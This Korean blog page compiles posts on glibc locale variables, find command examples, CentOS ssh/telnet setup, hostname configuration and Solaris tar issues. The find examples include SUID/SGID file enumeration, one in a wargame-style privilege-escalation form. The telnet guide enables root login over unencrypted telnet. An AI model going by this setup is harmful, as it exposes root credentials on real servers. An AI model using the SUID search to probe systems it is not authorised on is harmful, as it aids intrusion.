아무 로케일도 설정하지 않았을 때 glibc에서의 기본 로케일은 C 또는 POSIX (glibc에서는 C 로케일의 alias) 로케일이다.

 

% locale -a

라는 명령을 이용하면 이외에 사용 가능한 로케일의 이름들을 알 수 있다.

 

 

다음은 여러가지 환경변수의 역할(카테고리의 경우에는 동시에 카테고리의 역할)에 관한 설명이다.

 

LANG : 모든 카테고리에 대한 로케일 설정을 위한 환경변수이다. 하지만 LC_* 환경변수보다 우선 순위가 낮다.
LC_ALL이 설정이 안 되어 있고 LC_* 값들이 설정이 따로 설정이 않된 경우 LANG을 변화시키면 LC_ALL을 제외한 로케일 카테고리들의
값이 변경되지만 LC_ALL이 설정 되어 있는 경우 LANG의 변화는 로케일 카테고리들의 값에 영향을 주지 않는다.

 

LC_CTYPE : 문자 분류(알파벳, 숫자, 한글 또는 소문자, 대문자 등등), 변환, 대소문자 비교을 위한 로케일 설정을 의미한다.
이것은 예를 들어 fgetwc(), is*(), isw*(), mblen(), mbtowc(), wcstombs() 등의 함수에 영향을 줄 수 있다.

 

LC_COLLATE : 스트링(string)의 정렬 순서(sort order 또는 collation)를 위한 로케일 설정을 위해 사용된다.
이것은 예를 들어 strcoll(), wcscoll(), strxfrm() 등의 함수에 영향을 줄 수 있다.

 

LC_MESSAGES : 메시지 표현을 위한 로케일 설정. 메시지의 국제화를 위한 catopen(), gettext() 등의 함수에 영향을 줄 수 있다.

LC_NUMERIC : 금액이 아닌 숫자 표현(천단위, 소수점, 숫자 그룹핑 등)을 위한 로케일 설정.
예를 들어 strtod(), atof().

 

LC_MONETARY : 금액 표현(천단위 구분 문자, 소수점 문자, 금액 표시 문자, 그 위치 등)을 위한 로케일 설정.
예를 들어 strfmon().

 

LC_TIME : 시간과 날짜의 표현(년, 월, 일에 대한 명칭 등)을 위한 로케일 설정
예를 들어 strftime(), strptime().

 

LC_ALL : 모든 카테고리에 대한 로케일 설정을 위한 환경변수이다.
위의 LC_* 및 LANG의 어떤 것보다 우선 순위가 높다. 그리고 LC_ALL을 설정하면 다른 로케일 카테고리의 값들이 LC_ALL의 값의 변경되고  LC_ALL설정을 없애면 다른 로케일 카테고리의 값들은 이전값을 유지한다.

 

LANGUAGE : 로케일의 다중 설정을 위해 gettext에서 사용되는 GNU extension  환경변수로 LC_ALL보다도 우선순위가 높다.
로케일들은 구분문자 : 을 이용하여 우선순위가 높은 순대로 나열된다.

예를 들어 LANGUAGE=en_US:ko_KR LINGUAS : gettext를 사용하는 프로그램 설치시 지정한 언어들의 메시지만을
설치하기 위한 환경변수. 구분 문자는 스페이스이다. 예를 들어 LINGUAS="ko ja"

로케일을 지원하기 위한 방법 및 작동 원리

 로케일을 제대로 지원하는 프로그램을 작성하기 위해서는 setlocale()함수를 이용하여 로케일을 설정하고 확인하여야 한다.
 setlocale()함수는 헤더 파일 locale.h 에 정의되어 있으며 그 프로토타입은 다음과 같다.


반응형
반응형

출처 : http://coffeenix.net/board_view.php?bd_code=36


제  목 : 유용한 find 명령어 예 모음
작성자 : 좋은진호(truefeel, http://coffeenix.net/ )
작성일 : 수시로 추가했음


-------------------------------------------------------
1. 현재 디렉토리( . ) 이하에 확장자가 .html( -name "*.html" ) 인 파일만 ( -type -f )

find . -name "*.html" -type f -ls

2. 파일 크기

# 파일 크기가 300KB 이상( -size +300k )인 파일만
# (호스팅되는 홈피내에 큰 사이트의 파일이 있는지 찾을 때 유용)
find . -size +300k -ls

# 파일 크기가 500bytes 이하( -size -500c )인 파일만  
find . -size -500c -ls

3. 수정일

# 수정한지 20일 이상( -mtime +20 )된 파일과 디렉토리
find . -mtime +20 -ls

# 수정한지 20일 이상된 파일만
find . -mtime +20 -type f -ls

# 수정한지 20일 이상된 파일만 삭제 ( -exec rm {} \; )
# (정기적으로 20일이 지난 파일을 삭제할 때 유용)
find . -mtime +20 -type f -ls -exec rm {} \;

# 수정한지 3일 이내( -mtime -3 )의 파일만 (백업할 때 유용)
find . -mtime -3 -type f -ls

# 수정한지 30분 이내( -mmin -30 )의 파일만
find . -mmin -30 -type f -ls

4. 퍼미션 및 파일 소유

# 파일시스템 전체( / )에서 SUID/SGID가 설정된 모든 파일 목록을 얻음
find / -type f \( -perm -04000 -o -perm -02000 \) -ls

# 소유자가 없는 파일 목록을 얻음 (사용자는 이미 삭제했는데, 파일이 남은 경우)
find / -nouser -o -nogroup

5. 출력 형식 지정

# 출력 형식을 printf로 만들어서 (출력 결과를 다른 프로그램에서 받아서 쓸 때 유용)
# %h = 경로, %f = 파일명, %k = KB, %s = Bytes

# 형식 : <경로/파일명> <파일크기KB>
find . -printf "%h/%f \t %kKB \n"
... 생략 ...
./public_html/phps/icon/type/pcx.gif      4KB
./public_html/phps/icon/type/ra.gif       4KB
./public_html/phps/icon/type/sound.gif    4KB
./public_html/phps/icon/type/text.gif     4KB

# 형식 : <경로/파일명> <파일크기Bytes>
find . -printf "%h/%f \t %sKB \n"
... 생략 ...
./public_html/phps/icon/type/movie.gif    912Bytes
./public_html/phps/icon/type/mp3.gif      958Bytes
./public_html/phps/icon/type/pcx.gif      897Bytes
./public_html/phps/icon/type/ra.gif       903Bytes
./public_html/phps/icon/type/sound.gif    932Bytes

6. 홈페이지 포팅할 때 퍼미션 안 맞는 경우 유용한 것

# 확장자가 .htm* .gif, .js, .css 인 것만 퍼미션을 644(rw-r--r--)로
find . -name "*.htm*" -o -name "*.gif" -o -name "*.js" -o -name "*.css" -exec chmod 644 {} \;

# 파일은 퍼미션을 644로
find . -type f -exec chmod 644 {} \;

# 디렉토리는 퍼미션을 701로
find . -type d -exec chmod 701 {} \;

# 하위의 모든 퍼미션을 바꾸지 않고 depth를 지정하여 제한을 둘 때
# 옵션 : -maxdepth 숫자  (1=현재디렉토리만, 2=현재디렉토리 포함하여 한단계 하위디렉토리까지만)
find . -maxdepth 1 -type d -exec chmod 701 {} \;

※ -maxdepth는 -type나 -perm 등의 조건연산자가 아닌 옵션이다.
   따라서 조건연산자보다 먼저 사용해야한다. (다른 명령처럼 옵션을 먼저쓰는 것으로 이해하면 됨)
   find . -type -d -maxdepth 1 과 같이 사용하는 것은 옳지 않다.




-------------------------------------------------------------------------------------------------------------------

출처 : http://dumaclub.tistory.com/entry/UNIX-find-%EB%AA%85%EB%A0%81%EC%96%B4



1. 기능

다양한 옵션을 통해 찾고자 하는 파일의 조건을 설정할 뒤 그 조건에 맞는 파일을 검색할 수 있다.



2. 사용법

find [찾을 디렉토리 경로]  [찾기옵션]



3. 찾을 디렉토리 경로

/   :  루트에서부터 검색을 한다. 즉 전체를 검색한다.
.   :  현재 디렉토리를 포함하여 하위 디렉토리까지 검색한다.
/디렉토리   :  지정된 디렉토리에 검색



4. 옵션

-name [파일이름]   :  파일이름과 일치
  파일명 또는 확장자를 기준으로 검색할 수 있다.

-perm [권한]  :  권한과  : 일치하는 파일
  ex) find / -user level2 -perm -4000
       4000의 의미는 -(최소한), 4(SetUID)가 걸려있는 000(모든파일)을 의미한다.

-user [유저]  :  유저와 일치

-group [그룹] :  그룹과 일치하는 파일

-empty : 비어있는 파일이나 디렉토리를 검색
  ex)find . -empty
       현재 디렉토리 이하에서 비어있는 파일과 디렉토리를 검색.

-size [+파일크기/-파일크기/파일크기][bckw중 택1] : 파일크기와 일치하는 파일


  b : 블록단위 512kb
  c : byte
  k : kbyte
  w : 2byte 워드
  아무런 단위를 붙이지 않은 경우 : 디폴트 값 b

  파일크기에 +1024k 이렇게 +를 붙이는 경우에는 크기가 1024kbyte 이상인 것을 찾고, -는 그 이하, +,-를 붙이지 않는 경우에는 그 크기의 파일을 찾는다.

  ex)find / -size 1024k
       시스템 전체에서 파일크기가 1024kbyte인 파일을 검색한다.

-type [파일타입] : 파일의 타입을 지정하여 검색한다.

  b : 블록 특수 파일(block device)
  c : 캐릭터 특수 파일 (character deice)
  d : 디렉토리(directory)
  f : 일반파일(file)
  l : 심볼릭 링크(link)
  p : 파이프 (pipe)
  s : 소켓 (socket)

-print : 찾은 파일들을 표준출력(stdout)으로 출력한다. 기본으로 설정되어 있다.

-nouser : 소유자가 없는 파일을 검색(/etc/passwd 파일에 없는 사용자의 소유자로 되어 있는 파일을 검색)

-nogroup : /etc/groups파일에 없는 그룹의 소유인 파일을 검색한다.

-fprint [임의파일명] : 검색된 파일을 `임의파일명'으로 출력한다.(`임의파일명'이 존재 하지 않을 경우에는 새로 생성되고, 존재할 경우에는 기존의 파일은 없어짐)

-exec command {} \; : 파일이 검색되었을 경우, 검색된 파일들에 대해 특정 명령을 수행 할 때 사용한다.

  {} : 검색된 파일들을 의미한다. 여러개의 파일이 검색되면 하나씩 치환되면서 해당명령이 실행되는 것이다. 
  ; : 검색된 결과가 여러개인 경우 하나의 행에 여러 명령을 사용하기 위함이다.
  \ : ;이 특수 문자이기 때문에 문자로 ;라는 것을 알려 주기 위함이다.

  ex) find . -name kkk* -exec rm {} \;  //kkk로 시작하는 파일을 검색하여 삭제(rm)함.

-ok : -exec와 동일한 작업을 한다. 다른 점은, 명령을 실행할 때마다 실행 의사를 물어본다.

-newer file1 file2
`file1' 보다는 이후에 `file2' 보다는 이전에 생성되거나 변형된 파일들을 찾을 경우에 사용한다.

-cnewer 파일명 : '파일명' 부분에 적어준 파일보다 더 최근에 수정된 파일들을 찾아준다.

-atime +n/-n/n : 최근 n일 이전에 액세스된 파일을 찾아준다.(accessed time)
   +n : n일 또는 n일 이전에 액세스된 파일
   -n : 오늘 부터 n일 전 사이에 액세스 된 파일
    n : 정확히 n일 전에 액세스된 파일

-ctime +n/-n/n : ctime은 파일의 퍼미션을 마지막으로 변경시킨 날짜를 의미한다. (changed time)
   +n : n일 또는 n일 이전에 퍼미션이 변경된 파일
   -n : 오늘 부터 n일 전 사이에 퍼미션이 변경된 파일
    n :  정확히 n일 전에 퍼미션이 변경된 파일

-mtime +n/-n/n : mtime은 파일내의 data를 마지막으로 변경한 날짜를 의미한다.(modified time)
    +n : n일 또는 n일 이전에 수정된 파일
    -n : 오늘 부터 n일 전 사이에 수정된 파일
      n : 정확히 n일 전에 수정된 파일

-mount 현재의 파일 시스템과 동일한 타입의 파일 시스템에서만 검색을 할 경우에 사용한다.

-maxdepth n : 0이 아닌 정수값으로 경로 깊이를 지정하여 검색을 할 경우에 사용한다. 예를들어, '-maxdepth 1'은 시작위치로 지정한 디렉토리만 검색하고 하위 디렉토리는 찾지 않는다.

-mindepth n : 0이 아닌 정수값으로 지정된 숫자만큼의 깊이에서부터 그 하위 디렉토리를 검색한다. (GNU find 버전)

-follow : 심볼릭 링크된 디렉토리도 검색을 할 경우에 사용한다.

-regex : 정규표현식(regular expression)을 이용하여 파일들을 찾을 경우에 사용한다. `-iregex'는 대소문자를 구별하지 않을 경우에 사용한다. (GNU find 버전)
action은 test에서의 조건과 일치하는 파일들에 대해 수행할 작업을 명시하는 것으로 다음과 같은 방법들이 있다.

-ls : `ls -dils' 형식으로 찾은 파일들의 정보를 출력할때 사용한다.

-fls [임의파일명] : `ls'와 동일하게 동작하며 결과를 [임의파일명]로 출력한다. 

반응형
반응형

Centos 설치 후 yum update 부터 실시

#yum update

 

외부 접속을 위해 ssh와 telnet 설치

 

1. ssh 설치

 

1-1. 설치 리스트 확인 (64비트의 경우는 뒤에 .x86_64가 붙음)

# yum list | grep openssh

 

1-2. ssh 설치 (yum 에서 -y 옵션은 무조건 yes)

# yum -y install openssh*

 

1-3. 정상 설치되었는지 확인 (뒤에 @가 붙으면 설치된 것)

# yum list | grep openssh

openssh.x86_64                       5.3p1-84.1.el6            @base/$releasever
openssh-askpass.x86_64          5.3p1-84.1.el6            @base/$releasever
openssh-clients.x86_64             5.3p1-84.1.el6            @base/$releasever
openssh-server.x86_64              5.3p1-84.1.el6            @base/$releasever

 

1-4. sshd (뒤에 d가 붙으면 데몬) 시작

# service sshd start

 

1-5. 리부팅시 데몬 자동 재시작할 수 있도록 설정

# chkconfig --level 345 sshd on

# chkconfig --list | grep sshd => 정상적으로 설정되었는지 확인.

 

 

2. telnet 설치

 

1-1. 설치 리스트 확인

# yum list | grep telnet

 

1-2. telnet 설치

# yum -y install telnet*

 

1-3. 정상 설치되었는지 확인

# yum list | grep telnet

telnet.x86_64                        1:0.17-47.el6_3.1         @base
telnet-server.x86_64              1:0.17-47.el6_3.1         @base

 

# rpm -qa | grep telnet

telnet-0.17-47.el6_3.1.x86_64
telnet-server-0.17-47.el6_3.1.x86_64

 

1-4. telnet 서비스 설정 (disable을 no로 설정)

# vi /etc/xinetd.d/telnet

 

service telnet
{

      disable        = no
        flags               = REUSE
        socket_type     = stream
        wait                = no
        user               = root
        server             = /usr/sbin/in.telnetd
        log_on_failure  += USERID
}

 

1.5 telnet 서비스 재시작

# service xinetd restart

 

1.6 telnet root 접속 가능하도록 설정 pts/1, pts/2 추가.

# vi /etc/securetty

..

pts/1

pts/2

 

1.7 telnet 접속시 안내문구 수정

# vi /etc/motd

 

------------------------------------------------------------------------------------------------

HostName 변경

 

1. /etc/hosts

127.0.0.1        localhost.localdomain localhost

::1                 localhost6.localdomain6  localhost6

[설정 IP]        [설정하고자 하는 HostName]

127.0.0.1         [설정하고자 하는 HostName]

 

2. /etc/sysconfig/network

NETWORK=yes

NETWORKING_IPV6=no

HOSTNAME=[설정하고자 하는 HostName]

 

3. /etc/resolv.conf => DNS 서버 주소

nameserver 8.8.8.8 [구글 무료 DNS]

 

4. /proc/sys/kernel/hostname (굳이 안해줘도 1,2 번 하고 재부팅하면 자동으로 바껴있음)

[설정하고자 하는 HostName]

 

service network restart

reboot


hostname

ifconfig 로 확인

 

 

 

반응형

'OS > CentOS' 카테고리의 다른 글

CENTOS vsftpd 설정  (2) 2013.12.02
반응형

 

 

원래 솔라리스 SPARC 관련 패키지는 sunfressware.com에서 받을 수 있었다.

하지만 어느순간 유료가 되버린 사이트..

 

해메고 해매다 아래 사이트 들을 발생할 수 있었다.

차 후 참고하자

 

http://ftp.twaren.net/Sun/sunfreeware.com/sparc/5.8/

http://sunfreeware.lib.tsinghua.edu.cn/forsunsites/programlistsparc8.html#zlib

 

반응형
반응형

 

솔라리스나 기타 유닉스에서 tar로 압축해제시 압축이 정상적으로 풀리지 않고

체크섬 오류가 날 경우가 있다.

 

이 경우는 여러가지 이유가 있는데 내가 경험해 본 바로는 아래와 같은 경우가 있다.

 

1. ASCII 모드 tar를 BINARY 모드로 ftp 전송해서 체크섬 오류 발생

2. BINARY 모드 tar를 ASCII 모드로 ftp 전송해서 체크섬 오류 발생

3. GNU tar를 이용해서 압축한 파일을 솔라리스(or 각 유닉스 시스템) 기본 tar를 이용해서 압축해제 하는 경우 체크섬 오류 발생

 

1, 2번의 경우는 처음 압축 해제시 부터 체크섬 오류가 발생하므로 간단히 디텍트 할 수 있지만

3번의 경우는 압축이 해제되다가 중간부터 갑자기 체크섬 오류가 발생하므로 간단히 디텍트 할 수 없다.

 

이럴 경우 각 로컬 시스템에 있는 tar를 이용해서 압축을 한 뒤 이종 시스템의 tar를 이용해서 압축해제시 발생할 수 있는데

가장 흔하게 발생하는 경우가 GNU tar 관련 문제이다.

 

나의 경우는 GNU tar로 압축된 것을 솔라리스에서 압축해제할 때 발생했었는데

한참을 해메다가 GNU tar를 설치 한 뒤 해당 문제를 해결 할 수 있었다.

 

GNU tar 설치 후 library 종속성 문제가 발생할 수 있는데 해당 라이브러리는 적당히 찾아서 설치 해서 해결해주자.

반응형

'OS > LINUX Common' 카테고리의 다른 글

Linux에서 ZFS 파일 시스템 구축.  (0) 2015.03.25
tmpfs 설정하는 방법  (0) 2014.04.16
리눅스 vsftpd 설치 / 설정.  (0) 2011.10.14
리눅스 계정관리 ----LINUX  (0) 2011.08.21
Linux에서 JDK 설치  (1) 2011.08.21

+ Recent posts